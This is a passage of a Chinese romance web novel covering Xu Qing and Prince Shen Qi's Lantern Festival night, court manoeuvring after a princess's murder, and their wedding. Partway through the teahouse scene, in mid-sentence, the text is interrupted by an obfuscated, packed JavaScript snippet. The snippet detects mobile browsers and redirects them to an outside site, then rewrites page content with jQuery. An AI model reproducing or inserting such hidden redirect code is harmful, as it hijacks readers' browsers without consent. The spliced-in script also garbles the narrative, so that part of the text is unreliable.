“你啊,日日念着两个妹妹,”她被徐妗扶着坐下,抬起木柺指了指徐泽,“带着媳妇紧赶忙赶地来京城,一来又说说这个,教教那个的,给自己气的够呛,你说说你到底干嘛来了你?” “是阿枝念叨着要来的。” 徐泽本想辩解一句他才没有日日念着两个妹妹,不想被林嵘舟抓住了小辫子。 林嵘舟笑眯眯,语调却故意拖长,“噢,她要来,你不想来是吧?都快把我和你外祖母忘掉咯。” 林蓉双扬了扬眉,望着自家大外孙顿时慌张无措起来的神情,一副看好戏的模样。 栖枝拍了拍同样看着好戏的徐清的手让她放开自己,上前将和小满一起摆开碗筷,一边替徐泽解围道: “哪能啊舅公,大公子一路上都催着快些走呢,生怕晚了,还给您和外祖母带了东西呢。” 栖枝这话虽是哄着二老听的,但也确实没说假话。他们二人除夕后第三日便从江南出发,一路快马加鞭而来,正是昨日才进了京的。 “还叫着大公子呢?”徐妗上前来帮着一道,听着栖枝对徐泽的称呼揶揄了一句。 “大公子——” 徐清不知何事蹿到了徐泽身后,故意学着栖枝叫了一句。又在徐泽伸手过来时侧身灵活一躲,跑到燕琼跟上接过他手中的菜盘。 今日燕琼身上穿得就是那日她命他去取的,如今一身厚实的新衣穿在身上,整个人看着挺拔贵气了不少。 “好了,别闹了,快坐下来。” 后头兰大人和兰夫人一人端了一道菜肴从厨房里出来,见几个小的还在打闹忙招呼了一句。 几人笑嘻嘻地入座,徐泽凑到妻子身边,低声抱怨了的一句,“你什么时候改口啊?” 栖枝有些面热,看了看周围的人,也低头凑过去,轻声解释,“我一时忘了,下次定然不这么叫了好吗?” “愿宜和表哥呢?” 徐清坐下来看了看,发现兰家兄妹俩竟不在。 兰夫人往后望了望,正要回答,就见兰垣邻端着最后一道菜从厨房里小跑着出来,一边喊着:“来了来了,我在这呢。” 小满站起身,往屋里头跑,“愿宜姐姐在屋里头看表哥表嫂从江南带来的玩意儿呢,我去喊她。” 夜色渐渐笼罩下来,明灯照亮这处小院。 宅子里已经快十年没有这般热闹过了。 众人围坐在桌前,过节的氛围浓重,天边炸开烟火,几个小辈站起来兴奋地指着天。 “好漂亮!比除夕那夜的还漂亮!” “诶,外孙媳妇。”林蓉双喊了栖枝一声,“没在京城过过上元节吧?等会和阿泽去城里转转啊,这京城的上元节和江南的还是不同的。” 上元节这日,城门彻夜不关,徐泽本也打算晚些和栖枝进城去转上几圈,听林蓉双这么说,立刻就应了下来。 二人相视一笑,一同应道:“好,外祖母。” “祖母祖母。”兰愿宜不知何时跑到了林蓉双和林嵘舟身边,突然一下跳出来。 林蓉双被她的动静惊了一下,抚了抚胸口,兰夫人见状在一旁抬手拍了下她的脑袋,嗔道:“你这丫头,别一惊一乍的。” 兰愿宜不好意思地笑笑,抬手给林蓉双轻拍了拍后背,随后慢慢说出目的,“祖母,晚些我也要回城里去。” 林蓉双斜睨她一眼:“人家夫妻俩进城去过二人世界,你去作甚?” 兰愿宜见她不应,收回手,有些着急,“我又不打扰表兄表嫂,我自个儿回去逛逛不行嘛?” “愿宜姐姐是也要过二人世界吧?” 小满笑嘻嘻地凑上来接话,手里还捧着碗,一旁的燕琼含笑低眉给她添菜。 兰愿宜脸一红,作势要拍她,小满往后一躲,撞进燕琼怀中,燕琼顺势揽住她,同时抬眼看向兰愿宜。 没什么情绪,也不凶,但兰愿宜一抖,往林嵘舟身后躲,“舅公救我,你孙女婿瞪我!” 燕琼一怔,低头看了眼怀里的林小满,又抬头看了看面色复杂难言的林嵘舟,顿时回神,动作慌乱地把林小满扶正。 “兰愿宜!”林小满红着脸喊了句,放下碗,二人在院子里你追我逃了起来。 兰愿宜一边跑一边喊,“哥哥救我!” 兰垣邻埋头进食,闻声头也没抬地腾出一只手摆了摆,婉拒了妹妹的求救请求。 徐清唇角挂笑,撑着脑袋看着院子里的一派喧闹,林蓉双瞧她,突然出声:“你今夜也进城去?” “嗯?”徐清目光移过来,有些莫名,“我进城做什么?” “今儿是静王殿下的生辰。”林蓉双提醒道。 “他一个皇子,多得人给他过生辰,哪缺我一个?” 说罢,她支着脑袋,偏头又和栖枝聊起来。 这厢一派热闹,那厢亦是。但这热闹却如除夕那夜般,好似与沈祁无关。 高高的城楼上,如除夕那夜一般的景象,沈瑜伴在柳青烟身侧,沈郗伴在丁枣儿身侧,而沈郗的身侧站在护着肚子的钟芸熙,沈硕和沈桉也伴在各自的母妃身边,他们的妻同样站在他们身侧亦或是身后。 宫人端着孔明灯走上来,他的父皇伸出火把,点燃了灯,放出了第一盏灯。 随后沈郗沈瑜他们也相继燃灯放起灯,祈祷着新一年的安康喜乐。 众人面上都笑意盈盈,带着喜色,像是一幅热闹又温馨的阖家安乐图。 只是他瞧着这样的画面,倏然觉得有些仓惶,他没有可以伴在身侧的母后,他只有一个人。 天地之间,只有他是一个人。 他看着漫天飞起的明灯,每一盏后头都是阖家的期盼和喜悦。他很突然地想起徐清,心底有个声音带着埋怨又带着委屈地想,她那时为何要拒绝来宫里一同过上元节,如果她来了,就可以像新年那夜一般陪着他,他也就不会是一个人了。 她来了,他的身边就有人了。 这样想着,他忽然猛地站起身,往城楼下快步走去,将这片不属于他的欢闹抛在身后。 没人注意到他的身影慢慢隐没在黑夜里。 其实他自个儿也不知道为什么,此时此刻就是迫切地想见到徐清。 他没顾上教条礼数,下了城楼,一路往城门跑去。 今岁上元节,城门彻夜不闭,城中处处人头攒动,他骑不了马,只能用一双腿在人群里拼命地往郊外的方向跑。 他越跑越快,越跑越快,墨色的衣袂飞扬。 在跑上小拱桥的最顶端时,他忽然停住,整个人定定地站在那,胸膛止不住地起伏,目光却映着周遭明亮的灯火,灼灼地望向桥的底端。 着了一袭海棠色罗裙的徐清站在那,手里握着只兔儿灯。 她仰首看见沈祁,先是诧异了一瞬,而后扬起笑,提步向他走过去。 天边又一次炸开烟火,明明灭灭中,沈祁看着那道越来越近的身影,不知为何眼眶忽的一热。 “你不是去城郊了?” 他看着已在眼前站定的徐清,僵硬出声。 徐清解释道:“我陪栖枝进城走走,她还没在京城过过上元节。” “噢。”沈祁应了一声,心里说不上是失望还是庆幸更多些。 失望是她确实不是因自己回来的。 庆幸是还好有件事能让她回来。 徐清端详着他的神色,片刻后扑哧一声,“你还真信。” “啊?” “栖枝若真要在京城里过上元节,哪轮得到我陪着,自然是我大哥陪着。” 沈祁听得微愣,“那你……” 徐清执这兔儿灯往桥下走,“我回来逛逛,听闻京城的灯谜难猜,我来试试。” 沈祁站在原地未动,看着她的身影越走越远,直到徐清见他没跟上,才回首看他。 “殿下不一起吗?” 上元节与除夕不同的,是上元节这日的街道会更加热闹。燃灯放焰,喜猜灯谜,还有舞龙灯、踩高跷等各个社火表演。 沈祁一路不远不近地跟在徐清身后,她往哪走,他便往哪走。途遇有人表演,一阵阵火花冲着人群炸开,沈祁下意识伸手将徐清往后拽了些。 “小心。” 徐清被扯了一下,看了看将她和人群隔开了些的沈祁,又看了看欢呼着的人群,没多说什么,只抬手指了指不远处的一个小摊子,问他:“殿下想不想去放河灯。” 沈祁顺着落过去一眼,不等他回答,徐清已经扯住他的袖子将他带了过去。 “来两个河灯。” “好嘞。”摊主爽快的应了声,递过来两个莲花样式的河灯,又指了指摊子旁支起的小桌子,道:“姑娘,您拿好,那有纸笔。” “多谢。”徐清道谢,接过了河灯,又拽着还没反应过来的沈祁来到小桌前,拿了张纸,又执起一支笔沾了墨,塞进沈祁手中。 随后自己也执起一支笔,沾上墨,略加思索便提笔落下。 余光见沈祁久久不动,她偏头,“殿下不写吗?” “写什么?” “写你的愿景啊。” “写我的愿景?”沈祁重复了一遍,随后在徐清肯定的目光中忽的道:“我想吃碗长寿面。” 徐清被他突然的话弄得有些错愕,“什么?” 沈祁抿了抿唇,垂头动笔,刚写了个‘口’字便被徐清制止。 “诶诶诶,你别写这个,你写个别的。”徐清又给他重新取了张纸,“至于长寿面,我等会带你去吃成吗?” 沈祁点了点头,随后盯着纸看了好半晌,也不知该写什么。他悄摸地动了动漆黑的眼珠子,想看看徐清写了什么。 不想徐清像是侧面也长了眼睛,他视线刚落过去,刚没看着字呢,就被她伸手挡住了。 “自己的愿望自己许,不许偷看。” “……” 沈祁顿了顿,若无其事地收回目光,待徐清写好并轻轻吹气,加速墨迹风干后,将纸折好放进莲花河灯中时,沈祁才囫囵写下几个字。 徐清凑过去想看,沈祁一把捂住。 “徐姑娘方才还说自己的愿望自己许,怎的又来看我的?” “我自个儿许好了,又不抄你的。”徐清说着,目光止不住地往他手底下钻。 沈祁干脆抓起那张纸,背过身快速折好。 “那也不给看。” 徐清丢了句:“不看就不看。” 见他也已将纸折好放进了灯中,便率先抬步走向河边。 夜色中本该暗沉的河水,在成百上千的河灯的照耀下明亮万分。 徐清蹲下身子,将河灯小心翼翼地放入河中,再轻轻一推,让缓缓流动的河水带着那盏灯慢慢地远去。 沈祁蹲在她身旁,后她一步将河灯推出去。他的动作比徐清的重,莲花灯在河水中荡了一下,河水溅起,打湿了灯中的纸,透出了些墨迹。 二人蹲了好一会儿,看着灯漂至河中央,与其他的河灯一同远去,直至再也找不到哪一盏是他们放出去的。 徐清站起来,走上台阶,冲沈祁招手,“走罢,带你去吃长寿面。” 她带着他绕过好几个巷子,走进一家名叫“春涧居”的茶楼。 楼里今夜也热闹得紧,从这的窗户望出去,正好能看见外头街道上的表演,茶客们一边喝着茶,一边看着外头,是不是发出几声喝彩。 店小二肩上搭着白巾,跑上跑下的,忙的不行。 掌柜的站在柜台后面,一见徐清赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14250031|147705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙迎上来,“姑娘来啦?今儿想喝什么茶?” 徐清摆了摆手,“今儿不用上茶,借厨房用用。” 掌柜的闻言,扬手招来一个店小二,让他把沈祁先引到楼上的厢房里去。随后她带着徐清往后屋的厨房去。 沈祁在厢房里等了快走一盏茶的功夫,门才‘吱呀——’一声被推开。 他抬眼看过去,见徐清小心翼翼地端进来一碗热腾腾,还冒着热气的面。 徐清把面放在他面前,将木筷横置于晚上,随后将一路被烫着的指头捏在耳垂处,浅笑地看着沈祁道:“生辰吉乐!快吃罢。” 面里放了许多肉,上头还卧了个蛋,旁边蜷着看起来极新鲜的菜叶,汤底清澈不油腻。 沈祁执起木筷,拌了两下,正要送进口中,忽的问:“你做的?” “不是,掌柜的做的。”徐清搓了搓手,缩进袖中,“我哪会下厨。” 见他顿着不动,她像是想到什么,补充道:“你放心吧,没下毒的,要我帮你试试?” 沈祁瞥了她一眼,道:“不用。”随后把面一大口送进口中。 徐清见状微微瞪大了眼睛,“不烫吗?” 他摇了摇头,眼瞧他要将面咬断回答,徐清赶紧阻止,“不能断!” 于是沈祁嚼了两口,听话地没咬断,用筷子夹起面接着往嘴里送。 他吃得快,几口下去,面见了底。 徐清:“再来一碗?” 他摇摇头,低声道了句:“多谢。” “客气。”徐清笑了笑,随后又微蹙了眉,手臂撑在桌上,有些不解,“你好歹是个殿下,阖宫上下每一个人记得吗?连碗长寿面都没有?” 沈祁一顿。 其实是有的,怎么会没有,就像徐清说的,他好歹是个皇子,就算再不受宠,也是独立了府邸,手里有权的皇子。 今晨入宫给父皇请安的时候,父皇便已赏赐下许多东西,府邸里也堆着宋阳宋箫云思起等人早早便派人送来的礼物。 只是在这阖家团圆,其乐融融的气氛下,他总会想起母后还在时,每岁的今日,晨早便会有一碗母后亲手做的长寿面。夜里,他们会在宫中先为他办一场生辰宴。到了时辰,他会和父皇母后一同登上城楼,燃灯祈福。 在母后离世后的十年间,他再也没有吃到过一碗长寿面,也再也没有站在父皇母后身边,点燃明灯。 他本以为这么多年了,他早已习惯了每岁的除夕,每岁的上元节,看着其他皇兄们伴在他们的母妃身边,而他们的母妃也会围着父皇你一言我一语地替皇兄们筹谋。 但今岁除夕,徐清陪着他一起看了场烟火。于是当他在城楼上,烟火再一次绽开,他忽然就有些忍受不了这种游离在外的孤寂。 沈祁偏首,意味深长的目光凝在徐清脸上,片刻后他垂下脑袋,神情变得隐忍又难言失落。 “上元节诸事繁杂,我一个不受宠的殿下,谁会理我。” “往岁母后还在时,总会为我大办,自她走后,连一碗长寿面都是奢望。” 徐清敛了笑意,盯着他颤动的眼睫许久,直盯他浑身有股难言的痒意时,才控制不住般笑出声。 “殿下的演技也不怎么样。” “咳。”沈祁见一下就被拆穿,握拳掩唇轻咳一声,若无其事地将视线落在窗外,佯装自然地转了话头,“你怎会结识这的掌柜?也是你的人?” 徐清收了笑,斜睨他一眼,“殿下又知道了?” 沈祁讶然,“这春涧居在京城已营业多年,徐姑娘这么早就将手伸来京城了?” “殿下很喜欢胡乱猜测。”徐清没好气,“我方才可是承认了掌柜的是我的人,还是同殿下说了这春涧居是我的产业?” 沈祁追着逗她:“你也没说不是。” 徐清无语:“强词夺理。” 见她真有些不悦了,沈祁适可而止,指了指窗外头的热闹,“你方才不是说要去猜灯谜,现在下去吗?” 徐清张了张嘴正要答,却见他已经站起了身,推开门,还催促她,“快些,晚了可就被别人猜完了。” 徐清这才轻笑一声,起身跟上。 二人一同猜了几个灯谜,正上了头,徐清一转眼就望见不远处看着舞龙灯表演的兰愿宜和齐行安。 她拧了拧眉,“他怎么没走?” 沈祁闻声,顺着她的视线落过去,见到了挨得越来越近的两人。 “今岁齐阳王未入京,齐行安得留下。” 沈祁简单解释了一下,徐清便明白了过来。 齐阳王手握兵权,镇守一方,每年都当进京一趟述职。往年都是趁着万寿宴进京来,今岁他称病未来,难免引起帝心猜忌。齐行安留在京城,就如同一个人质般。 徐清思索了一下,问道:“兰家和齐家还有机会结姻亲吗?” 沈祁也学着她的样子低眉忖思了下,压低了声回道:“有的,若我掌权便给他们赐婚怎么样?” 这话一出,徐清连忙扯了扯他,四处望了望,见没人注意到这,才松开他,“周遭都是人,你说这种话,脑袋要不要了?” 沈祁笑了笑,才正经道,“兰家女还未及笄吧?” 言下之意是如今谈亲事还为时尚早了。 徐清点了点头,“确实还早,不急。” “嗯,不急。”沈祁顺着她的话重复一遍,又问,“还猜不猜,你想要的荷花灯快被人赢走了。” “猜!” 徐清气势昂扬地应了一声,很快又投心到解灯谜中去。 满城明灯下,有人身揣着个方匣子,手执令牌一路策马疾行进城,绕过喧闹的人群,在偏僻的巷中绕行至皇帝所在的城楼下。 那人小跑至城楼上,与大太监低声交谈几句。随后大太监神色剧变,接过方匣子,快步行至正愉悦看着脚下万民齐乐的帝王身边,耳语交代了情况。 帝王的黑眸沉冽下来,不动声色地侧头看了眼大太监怀中的方匣。 大太监会意,弓着腰身往后,带着日夜兼程、风尘仆仆而来的归人一同退下,候在了养心殿。 那方匣子放在桌案上时,一声轻响,像一颗小石子投入平静许久的湖中,正砸中了一只大鱼,湖面将在下一刻激起千层浪。 35. 第三十五 大婚 延明二十一年,大梁与西陵开战,却屡战屡败,连输三座城池。 林嵘舟早在西陵来犯前,就因陈年旧伤卧榻难动,林青且彼时尚年幼,一时间武将之家中无人能迎敌。 先皇彼时亦身衰体弱,已行至油尽灯枯之时。他无法,将最年幼且唯一的女儿沈宁送至西陵,一时和亲换来了五年的和平。 第二年,先皇驾崩。梁文帝,也就是沈祁的父皇登基继位,改年号为文德。 文德五年,西陵再次来犯,十八岁的林青且方成亲半载,便应召披挂上阵,从西陵手中夺回一城。 次年,温家二子皆放弃承接父位而转武举。两年后受封得令前往边境,与林青且一同击退西陵,夺回城池。 那时的平宁公主在西陵已有八载。 战败和丢失城池让西陵王大怒,他将怒气撒在被送来和亲的平宁公主身上,用尽各种手段折磨她,却又不敢弄死她。 文德九年,西陵忽如有神助,将林青且他们夺回的城池又重新攻了下来,而林温三人也相继在战场上殒命。 三人死后的第二月,尸首还未回到京城,一叠叠厚厚的通敌书信被整理起来,快马加鞭被先一步送往京城,林温三人被控指通敌叛国。帝阅后大怒,下旨查抄林温两家,独留拥有铮铮战功的林嵘舟,和因外嫁免牵连之罪的林蓉双二人的性命。 同年,原先在林青且麾下,从小兵做起,这些年积攒不少战功的齐远山被举荐,临危受命,一路高歌猛进,不仅击退西陵,夺回了城池,还连占西陵四座城池。 西陵无力再战,提出议和。 文德帝念起幼妹,遂与西陵签订合议,令西陵向大梁俯首称臣,需每年进贡,并上供岁币,且每年的进贡都得是平宁公主带队前来。 故而战后多年,西陵不敢再苛待沈宁。 直至今岁,沈宁布满伤痕和血痂的头颅被送进京城,放在梁文帝的桌案上。平和多年的景象再次被打破。 节后百官还朝,平宁公主惨死的消息传遍朝野。 “这是在挑衅我大梁国威啊陛下!”有官员愤而站出来,“此番绝不可退忍!” 此话一出,百官齐应。 梁文帝的目光似有若无地落在齐行安身上,沉声道:“如今齐阳王缠绵病榻,怕是难以一战,众爱卿可有人能向朕举荐?” 齐行安手心出了些汗,他想起齐予安临走前说的话,咬了咬牙,站出来,“陛下,臣幼时日日与父亲学武,如今父亲卧榻难起,臣愿领兵,击退西陵,带回公主。” “不可。”钟逸承站出来,“齐公子如今尚年少,并无经验,第一战尤为重要,臣以为,齐公子不是合适的人选。” “那右相以为,谁是合适的人选?” 钟逸承:“陛下,齐阳王镇守边境多年,如今病倒消息一出,西陵便立刻前来挑衅,是看我大梁武将极少,认为我大梁无人可用。臣以为,盛王殿下与静王殿下是最合适的人选,二位殿下身份尊贵,自小又在军营学武磨炼,也熟通兵法。若他们前去,一能稳固军心,二能震慑西陵,定能打败西陵,叫西陵不敢再犯。” 沈祁听到了自己的名号,眉梢一挑,微微偏头,斜睨了钟逸承一眼,勾了勾唇。 这老东西与柳青祥争斗多年,柳家势颓后,趁机独揽大权,如今又怎会那么好心。 果不其然,钟逸承微顿,下一息话锋一转,又道:“只是静王殿下婚期在即,礼部也已准备妥当,恐难以远行。” 话留一半,却已指向分明。 沈郗趁势站出来,扬声,“父皇,儿臣愿领兵击退西陵!” 沈祁收了笑,侧头与沈瑜互换了一个眼神,随后也站出来,“国事为重,儿臣亦愿携军前往。” 梁文帝暗忖几息,目光扫过小儿子,意味不明。 “右相说得有理。”他道,“静王婚期在即,确也不适合前往,如此——” “便命盛王即刻带兵前往边境,协领齐阳王麾下十万兵马,共击西陵。” 退朝后,沈祁与沈瑜并肩往外走,宋箫和云思起追上来,刚想说什么,后头传来沈郗颇有些得意的声音。 “四弟,五弟。” 二人应声回头,就见沈郗行至跟前,装模作样地作了一揖,“大哥我可能赶不上你们二人的大婚了,在此先提前贺一句喜。” “祝你二人,美人在怀,早生贵子。” 说罢,他笑着走开,周遭围绕了一圈有追上他攀谈的其他官员。 “嘚瑟什么。”沈瑜轻嗤,“皇姑母惨死,他却摆出这副嘴脸,真令人作呕。” 宋箫拧眉,看着沈郗春风得意的背影,低声道,“平宁公主当年为和平远赴西陵,百姓一片赞颂,如今这般惨状地被送回来,若盛王殿下能拿下第一战,民心倾向他,确实是很大的助力。” “本王倒是希望他可以拿下这一局,将皇姑母的尸体带回来安葬。”沈祁冷笑一声,“不过瞧着他这蠢样,还真是让人担忧。” “钟逸承那老东西三言两语将本王摘了出去,替他拿下了这个差事,希望他可千万别让我们的右相失望啊。” 三人说着,往宫外走去。 云思起见他们渐渐止了这个话头,便出声提起最近发生的怪事。 “舒州县令前几日报上来一个案子,有些怪异,牵扯颇多,这几日……” 公主身死和沈郗要出征的消息同时传出来,民间一时哗然。 徐清得知消息后,几番想约见沈祁,却都被回绝。她与沈祁的婚期在即,只剩一月有余,按理说在这期间是不能见面的,但现下她顾不得太多。 平宁公主和亲时正是两代君王易位之时,其间种种,难以一言蔽之。这一战定然牵涉颇多,齐阳王称病卧床而未入京已然引起君王猜忌,沈郗此去说不定已受了君令,将伸手架空齐远山。届时沈郗军权在握,怕是难以扳倒。 且这番与西陵再次开战,文德九年林温三将通敌叛国之事再度被提起,民间说起他们皆是一片骂声。 她怕林小满知道,还让燕琼时不时带她去摸鱼爬树,连林嵘舟也为了让她不去外头听见这些话,而日日监督她练武。 她想找沈祁说说这些事,但几封密笺送出去却一直被回绝。最后都急得打算再翻一次静王府的墙了,这时候许是沈祁终于感受到了她的焦灼,让姜沿替他送来的一封短笺。 ——“按礼俗,大婚前不可相见。我知你寻我是为何事,此事不急,可容后再议,且安心。” 徐清见他这么说,只好耐下心来,心里第一次盼望大婚之日快些来。 大婚这日,三月初三,天气晴朗,是一个宜嫁娶的黄道吉日。 空气中虽仍有些凉意,却也已能感受到初春的暖。 徐珵和徐夫人在前几日入了京,就是为了赶上二人的大婚,近日也是住在兰府。这几日里,兰府可谓是热闹得不行。 今日更是如此。 徐清和徐妗一早天还未亮便被拉起来,开面洗漱,人还未清醒过来,流程已走了小半。 整个兰府上下忙做一团,每个屋檐下都挂着红绸和红灯笼,这阵仗不像是要嫁表姑娘,像是在嫁嫡亲的姑娘。 嫁衣是昨日柳青烟亲自带人送来兰府的。二人戴好头冠,着好喜服,又被徐夫人和兰夫人拉在一处,念叨了许多闺房之事。 情至深处,徐夫人止不住地抹泪,看得徐清徐妗二人也鼻头一酸,让一旁眼眶也泛着红的兰夫人急忙叫停。 “新娘子可不敢哭,花了妆面,再来一回可是要误吉时的。” 二人这才堪堪止住了泪。 门外徐泽和徐珵已经候着了。 这天新娘子的脚不能落地,得兄长背着上轿。 吉时至,徐泽背着徐妗,徐珵背着徐清,稳稳当当地走出府门。 按理两人都从兰府出嫁,沈祁沈瑜都得到兰府来迎人,时辰上是有些赶的。 以长幼来说,得沈瑜先来迎人。 众人催着沈瑜作催妆诗,幸而他早走准备,立刻便脱口而出,因着时辰赶,大家也不多为难他,便让他带走了新嫁娘。 徐泽将徐妗稳当地放进了喜轿中,理了理妹妹的裙摆,最后深深看了眼执着团扇遮面的妹妹,才直了身子退开,让沈瑜带着人离开。 徐珵站在府门口,看着远去的喜轿和敲锣打鼓的长队,颠了颠背上的徐清,微微皱了眉地偏了偏头,冲背上的徐清道: “是不是瘦了?怎么这么轻,京城饿着你了?” 徐清笑着拍了拍他的肩,“说的什么话?背了这么久才颠出我轻了?是不是舍不得我?” 徐珵抿了抿唇,一转眼又见骑在高头大马上的沈祁策马而来,锣鼓声喧天,他避而不答徐清的问,只叮嘱道:“往后凡事顺心为主,千万别委屈了自个儿,知道吗?” 徐清闻言垂眼,勉笑着应,“知道了三哥。” 应完,又转而催促起他,“你也要早日把许钰给我娶回来当嫂嫂。” “知道了,我比你急好吗?” 徐珵没好气地说完,沈祁已行至眼前。 不等众人嬉笑着催促他,沈祁便已扬声念出早已备好的催妆诗,还一连念了三首。众人先前没有为难沈瑜,自然也不会为难他。 徐珵再次颠了颠徐清,轻声道了一句“走了。” 随后抬步走下石阶,小心地将她放进喜轿中。 那厢沈祁见徐清已经进了喜轿中,拱手低了下头,徐泽和徐珵也拱手回了一礼。徐夫人和兰夫人互相搀着对方的手,看着两顶花轿渐渐远去。 沈祁不再多留,手上用力扯了下缰绳,马头调转,锣鼓声再起。喜轿被抬起时,四角上悬挂的大红彩球跟着微微晃动了几下。 长长的迎亲队伍宛如一条流动的红绸,扬动在京城热闹繁华的街道上,路边围满了百姓,喜钱不停地撒出去,一片又一片的喝彩声传进喜轿里,让徐清都忍不住勾了唇,露出笑。 几人先进了宫,在百官观礼下朝拜了帝后,并拜了天地,得了一堆赏赐后,四人才出宫。 红妆铺了十里路,迎亲队伍绕着京城的街道又走上了一圈,喜钱撒了不计其数,这才入了王府。 歌槿一路跟着进了喜房,一行人都退了出去,她才悄悄凑到徐清身旁,低声问:“姑娘饿不饿?” “还成。”徐清应了句,一双润眸从团扇边缘探出来,看着歌槿笑眯眯地从袖中掏出张包了几块糕点的帕子,喜道:“你什么时候拿的?” “从兰府带出来的,本想在游街路上时递给姑娘垫垫肚子,没成想百姓如此热情,我都没找着机会给姑娘。” 说着,她将糕点捧在徐清跟前,“姑娘现在吃两块垫垫吧,殿下怕是一时半会儿也回不来。” 徐清虽然嘴上说着还成,但确实是从早上起来到现在都滴水未进,她将团扇从面前移开,依言捻了块糕点往嘴里送。 想起萧云年他们那里的情况,赶紧嚼了两口咽下去,问:“周惊山有消息了吗?” “没呢。”歌槿怕她噎着,给她倒了杯茶水递过来,“先前萧云年等人用姑娘给的方法找到了杀害周惊山的人,正是那庐州县令,怕一纸御状告上去让他丢了脑袋,这才买凶杀人,想绝了后患。” “萧云年本想直接杀了那县令替真周惊山报仇,好在李庄主和萧楼主拦了下来,前几日李庄主还来信问姑娘有何打算。” “县令不能杀,得查,在地方上他与叶刘两家勾搭,提供年轻女子,手上肯定不止这一条人命,若不查直接杀了,届时被查的就是爹爹了。” 徐清思忖了一会儿,却没有头绪,她有些头疼得扶住额,“容我想想,晚些给她回信。” “姑娘别急。”歌槿安抚了一句,转而起了另一个话头,将她的注意力引走。 “双瑶姐姐,松枝,窈音他们都给姑娘送礼了,恭贺姑娘大婚。” 徐清面上闪过笑意,刚想让歌槿拿出来瞧瞧,想起双瑶,又拧了拧眉,“双瑶不是在城外?怎的不进京来呢?” “这年赋门时不时派人追来,双瑶姐姐怕今日大喜的日子他们又来,就一直带人守在城外。” 自打武比后被年赋门的人盯上,徐清回到京城后警惕了好长一段时间,好在后来双瑶带着人潜在各个城门外,挡住了年赋门派来的人。 “辛苦她了。” 徐清叹了口气,刚想继续说点什么,门外忽然传来一阵喧哗。 二人对视一眼,歌槿赶忙接过她手里的糕点,又用帕子给她擦了擦手,然后退到门边。 门被推开时,徐清刚将团扇重新挡在面前。 一行人喜气洋洋的声音顿时在室内响起,这是闹洞房来了。 白日里有阳光洒身上倒是暖洋洋的,如今夜里风大,门乍一被推开,风灌进来,徐清身子一颤,忍不住缩了缩肩膀。 刚走近两步的沈祁见状以为她被吓着了,转头扫了一圈跟着来的人,让小厮塞了两把喜钱给他们。 那些人本就顺着礼俗来讨个吉利,也不真闹,领了喜钱便笑呵呵地走了。 歌槿跟着他们退出去,从外头关上了门。 室内又一次安静下来。 沈祁站在她 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随后徐清按礼俗,用放在一旁的红绳将两个对半的葫芦缠在一块,寓意永结同心,多子多福。 许是喝了酒,徐清现下也不紧张了,放下重新被拼绑在一块儿的葫芦,语调有些愉悦,“礼成了。” 身旁的沈祁目光落在红绳上,低声应:“嗯,礼成了。” 徐清回身,坐在镜台前开始拆卸脑袋上的环钗头凤。 她一边动作,一边透过铜镜看向身后的沈祁,“盛王如今应是已到边境,准备接手齐阳王手中的兵马了,你觉得他此战能胜吗?” “第一战不是他能不能胜,而是他必须得胜。”沈祁抬手,帮着她取下最重的发冠,“齐阳王得帮着他。” “嗯。”徐清应了一声,索性放下手,任他动作,“我先前已去信齐予安,让他小心些。盛王此去,一为与西陵的战事,二为架空齐阳王的兵权收到他自个儿手中,届时他民心兵权皆在手中,你如何打算?” 沈祁没答,转而提起另一件事:“一月前舒州县令报了个案子给大理寺,云思起觉得怪异便亲自去了一趟舒州,查到了些事情,牵涉一众官员,他拿不了主意,便报到了父皇那去。” 钗环全部卸了下来,一头青丝全散落在身后,沈祁一边说,一边拿起案上的玉梳。 “前几日父皇已命我大婚后即刻前往舒州,解决此事。” “舒州?”徐清琢磨了一下,“你方才说此事牵涉一众官员……” “云思起传回来的信中并未提到徐大人。”沈祁明白她的忧心,安抚了一句,随后顿了顿,还是道:“但先前因各地皆有或大或小的官员与叶刘两家勾连,父皇当时虽只下旨惩处了叶刘两家,未彻查地方官员,但父皇心下定然有这心思。” “如今舒州撞了上来,是一个引子,难保徐大人不会受到牵连。” 徐清抿了抿唇,沉默片刻,蓦地道,“我同你一起去。” “你要去?”沈祁讶然,没想到她反应这般大,“你放心,我既同你是盟友,如今又是夫妻,定然不会让徐大人有事,你……” “不是。”徐清截断他的话,“除了这个,我恰好也有事要去办,可与你一道。” 沈祁暗忖几息,点头应下,“行,明日进宫拜过父皇便启程。” 他原先是想他去了舒州,让徐清在京中打点。不过京中亦有沈瑜宋箫他们,她既要去,也不妨事,不过…… “不过,你去舒州所为何事?” 徐清透过铜镜睨了他一眼,唇瓣还未张开,身后的沈祁便好似看穿了她想说什么,自个儿先接了话。 “与我何干,你要做的事难道要与我一一禀告。”沈祁打量着她的脸色,“你是不是想说这个?” 徐清见词被抢了,没好气:“知道还问。” 沈祁见她有些气恼,笑了笑,随即沉声认真唤了她一声,“徐清。” 他从来没真正直呼过她的名讳,从来都是“徐姑娘”“徐四姑娘”这样唤她。 故而她乍一听见还有些反应不及,手上动作微顿,抬眼看向铜镜里的沈祁,“怎么了?” “如今既已成了夫妻,我们先约法三章。” 徐清闻言来了兴致,转过身看着他,“说说看。” “我们虽是盟友,如今也是夫妻,以后少说不团结的话。你的事虽不用件件与我说来,但好歹让我知道一些,也好让你我计划不会相冲不是?” 徐清听罢,倒是认同,于是点了点头,这第一条她算是同意了。 “其二,往后你与我说话,多些耐心,别三两句便呛我,吵我。” 这第二条徐清可就不同意了,她面色微变,“殿下这是……” 不等她话出口,沈祁眼疾手快地捂住她的嘴,控诉:“你看,你又要同我吵。” 徐清这下是真气急了,手上用力都拽不下来他的手,便抬脚往他小腿骨上狠踢了一脚。 沈祁吃痛,手上力松了下来,转而捂住自己被踹了一脚的伤处,“嘶”了一声后又补上一句,“也不许打我。” “……” 徐清见他龇牙咧嘴的是真疼了,也不再多说什么,咬了咬牙,率先去了耳房洗漱,徒留沈祁一人在房间低声呼痛。 再回房时,沈祁早已换好了寝衣坐在床头。 也不知道是去哪沐浴洗漱的。 